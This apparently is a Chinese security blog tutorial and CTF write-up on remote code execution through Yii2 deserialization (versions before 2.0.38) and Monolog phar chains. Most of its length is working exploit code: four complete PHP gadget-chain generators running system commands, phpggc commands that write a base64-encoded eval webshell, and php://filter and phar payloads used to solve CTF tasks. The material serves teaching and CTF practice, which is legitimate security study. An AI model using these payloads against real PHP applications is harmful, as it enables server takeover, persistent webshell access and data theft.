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通过几道CTF题学习yii2框架

发表于:2021-06-10 14:18 作者: mtr 阅读数(190人)

简介

Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架,Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize()时,攻击者可通过构造特定的恶意请求执行任意命令,本篇就分析一下yii2利用链以及如何自己去构造payload,并结合CTF题目去学习yii2框架

Yii2<2.0.38反序列化

安装:在 https://github.com/yiisoft/yii2/releases 下载2.0.37的版本

然后在 yii-basic-app-2.0.37\basic\config\web.php里面往cookieValidationKey随意给点值,运行 php yii serve,新建一个控制器

yii-basic-app-2.0.37\basic\controllers\TestController.php

<?php
namespace app\controllers;
use yii\web\Controller;

class TestController extends Controller{
   public function actionTest($name){
       return unserialize($name);
  }
}

就可以进行测试了

?r=test/test&name=

链一

链的入口在

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.php

public function __destruct()
  {
       // make sure cursor is closed
       $this->reset();
  }

跟进$this->reset();

public function reset()
  {
       if ($this->_dataReader !== null) {
           $this->_dataReader->close();
      }

这里的$this->_dataReader可控,并调用了close()方法,那么可以找到一个类不存在close()方法,但存在__call方法就可以调用他了

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2-gii\src\Generator.php

public function __call($method, $attributes)
  {
       return $this->format($method, $attributes);
  }

这里的$methodclose$attributes为空,继续跟进format

public function format($formatter, $arguments = array())
  {
       return call_user_func_array($this->getFormatter($formatter), $arguments);
  }

跟进getFormatter

public function getFormatter($formatter)
  {
       if (isset($this->formatters[$formatter])) {
           return $this->formatters[$formatter];
      }

似曾相识的代码,laravel5.8某条链就出现过,这里$this->formatters可控,也就是$this->getFormatter($formatter)这这个可控,但是$arguments的值我们无法控制,值为空

到这里可以执行phpinfo

<?php
namespace yii\db{
class BatchQueryResult{
private $_dataReader;
public function __construct($_dataReader) {
$this->_dataReader = $_dataReader;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace {
$a = new Faker\Generator(array('close'=>'phpinfo'));
$b = new yii\db\BatchQueryResult($a);
print(urlencode(serialize($b)));
}

但是我们想要rce的话,还要在yii2中已有的无参方法中进行挖掘

这里我们可以使用正则匹配直接搜索含有call_user_function的无参函数

call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)

然后找到下面两个都比较好用

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.php
public function run()
  {
       if ($this->checkAccess) {
           call_user_func($this->checkAccess, $this->id);
      }

       return $this->prepareDataProvider();
  }

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.php
public function run()
{
   if ($this->checkAccess) {
       call_user_func($this->checkAccess, $this->id);
}

这里的$this->checkAccess$this->id都是我们可控的

所以直接构造就行了

<?php
namespace yii\db{
class BatchQueryResult{
private $_dataReader;
public function __construct($_dataReader) {
$this->_dataReader = $_dataReader;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
       public $id;
       public function __construct($checkAccess,$id){
           $this->checkAccess = $checkAccess;
           $this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new Faker\Generator(array('close'=>array($c, 'run')));
$a = new yii\db\BatchQueryResult($b);
print(urlencode(serialize($a)));
}

image-20210601180351043.png

链二

这个是yii2 2.0.37的另外一条链

起点和链一相同,是BatchQueryResult类的__destruct,然后是$this->_dataReader->close(),但是这里不找__call,我们去找存在close方法的类

找到yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.php

class DbSession extends MultiFieldSession
{
...
public function close()
  {
       if ($this->getIsActive()) {
           // prepare writeCallback fields before session closes
           $this->fields = $this->composeFields();

这里跟进$this->composeFields()

abstract class MultiFieldSession extends Session
{
protected function composeFields($id = null, $data = null)
  {
       $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];

这里$this->writeCallback可控,$this是一个对象,所以这里调phpinfo的话应该不行,不过可以续上链一的run方法(即那个无参的方法)

这里直接构造即可

<?php
namespace yii\db{
   class BatchQueryResult{
       private $_dataReader;
       public function __construct($_dataReader) {
           $this->_dataReader = $_dataReader;
      }
  }
}
namespace yii\web{
   class DbSession{
       public $writeCallback;
       public function __construct($writeCallback) {
           $this->writeCallback = $writeCallback;
      }
  }
}
namespace yii\rest{
   class CreateAction{
       public $checkAccess;
       public $id;
       public function __construct($checkAccess,$id){
           $this->checkAccess = $checkAccess;
           $this->id = $id;
      }
  }
}
namespace {
   $c = new yii\rest\CreateAction('system','whoami');
   $b = new yii\web\DbSession(array($c, 'run'));
   $a = new yii\db\BatchQueryResult($b);
   print(urlencode(serialize($a)));
}

链三

我们可以在yii2 2.0.38commit看到他加了一个__wakeup

image-20210601183115552.png

这里限制了链一的起点BatchQueryResult无法使用,后面的__call的链没有被破坏,所以我们继续寻找一个__destruct

yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.php

public function __destruct()
  {
       $this->stopProcess();
  }

这里继续跟进stopProcess

public function stopProcess()
  {
       foreach (array_reverse($this->processes) as $process) {
           /** @var $process Process **/
           if (!$process->isRunning()) {
               continue;
          }

这里的$this->processes可控,所以可以利用$process->isRunning()来进行触发__call

后面的利用就和链一相同了

<?php
namespace Codeception\Extension{
class RunProcess{
private $processes = [];
public function __construct($processes) {
$this->processes[] = $processes;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
       public $id;
       public function __construct($checkAccess,$id){
           $this->checkAccess = $checkAccess;
           $this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new Faker\Generator(array('isRunning'=>array($c, 'run')));
$a = new Codeception\Extension\RunProcess($b);
print(urlencode(serialize($a)));
}

链四

同样的先找__destruct

yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php

public function __destruct()
  {
       foreach ($this->keys as $nsKey => $null) {
           $this->clearAll($nsKey);
      }
  }

这里$nsKey可控,跟进clearAll

public function clearAll($nsKey)
  {
       if (array_key_exists($nsKey, $this->keys)) {
           foreach ($this->keys[$nsKey] as $itemKey => $null) {
               $this->clearKey($nsKey, $itemKey);
          }
           if (is_dir($this->path.'/'.$nsKey)) {
               rmdir($this->path.'/'.$nsKey);
          }
           unset($this->keys[$nsKey]);
      }
  }

这里没有触发__call的地方,但是存在字符串的拼接,可以触发__toString

随便找找就找到了yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php

public function __toString()
{
   return $this->__dom__->saveXML();
}

同样用他去触发__call

<?php
namespace {
   class Swift_KeyCache_DiskKeyCache{
       private $path;
       private $keys = [];
       public function __construct($path,$keys) {
           $this->path = $path;
           $this->keys = $keys;
      }
  }
}
namespace Codeception\Util{
   class XmlBuilder{
       protected $__dom__;
       public function __construct($__dom__) {
           $this->__dom__ = $__dom__;
      }
  }
}
namespace Faker{
   class Generator{
       protected $formatters = array();
       public function __construct($formatters) {
           $this->formatters = $formatters;
      }
  }
}
namespace yii\rest{
   class CreateAction{
       public $checkAccess;
       public $id;
       public function __construct($checkAccess,$id){
           $this->checkAccess = $checkAccess;
           $this->id = $id;
      }
  }
}
namespace {
   $c = new yii\rest\CreateAction('system','whoami');
   $b = new Faker\Generator(array('saveXML'=>array($c,'run')));
   $a = new Codeception\Util\XmlBuilder($b);
   $d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi'));
   print(urlencode(serialize($d)));
}

image-20210602090901230.png

phpggc

使用./phpggc -l yii2可以看到有两条yii2的链

image-20210602132936954.png

可以使用如下命令快速得到链,-uurl编码

./phpggc Yii2/RCE1 system id -u

phpggc的链二的终点是一个eval,所以这里可以直接写shell-bbase64编码

./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -b

CTF题目

[HMBCTF 2021]framework

把题目附件解压,看到html\controllers\SiteController.php

class SiteController extends Controller
{
   public function actionAbout($message = 'Hello')
  {
       $data = base64_decode($message);
       unserialize($data);
  }

这里可以这样传参

?r=site/about&message=

拿链一打了一下,发现一下system等函数被ban

image-20210602124709937.png

这里用phpggc yii2的链二写一个shell进去,然后用蚁剑的 apache/moddisable,运行 /readflag 即可获取 flag

[CISCN2021 Quals]filter

据说这是配置文件里面的重要内容,或许对你有用!!

        'log' => [
          'traceLevel' => YII_DEBUG ? 0 : 0,
          'targets' => [
              [
                  'class' => 'yii\log\FileTarget',
                  'levels' => ['error'],
                  'logVars' => [],
              ],
          ],
      ],

看到附件的SiteController.php就改了这个地方

public function actionIndex()
  {
       $file = Yii::$app->request->get('file');
       $res = file_get_contents($file);
       file_put_contents($file,$res);
       return $this->render('index');
  }

yii框架的runtime/logs目录下有一个app.log

看一下依赖发现monolog符合

"require": {
      "php": ">=5.6.0",
      "yiisoft/yii2": "~2.0.14",
      "yiisoft/yii2-bootstrap": "~2.0.0",
      "yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0",
"monolog/monolog":"1.19"
  },

首先清空日志文件

?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

phpggc生成

php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"

写入日志,注意最后面要加个字符a

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保留phar的内容

/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

最后用phar协议打一下

/?file=phar://../runtime/logs/app.log/test.txt

image-20210602213744696.png

然后在根目录找到This_is_flaaagggg

然后用这个找一下flag即可

php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"


本文涉及相关实验:PHP反序列化漏洞实验 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。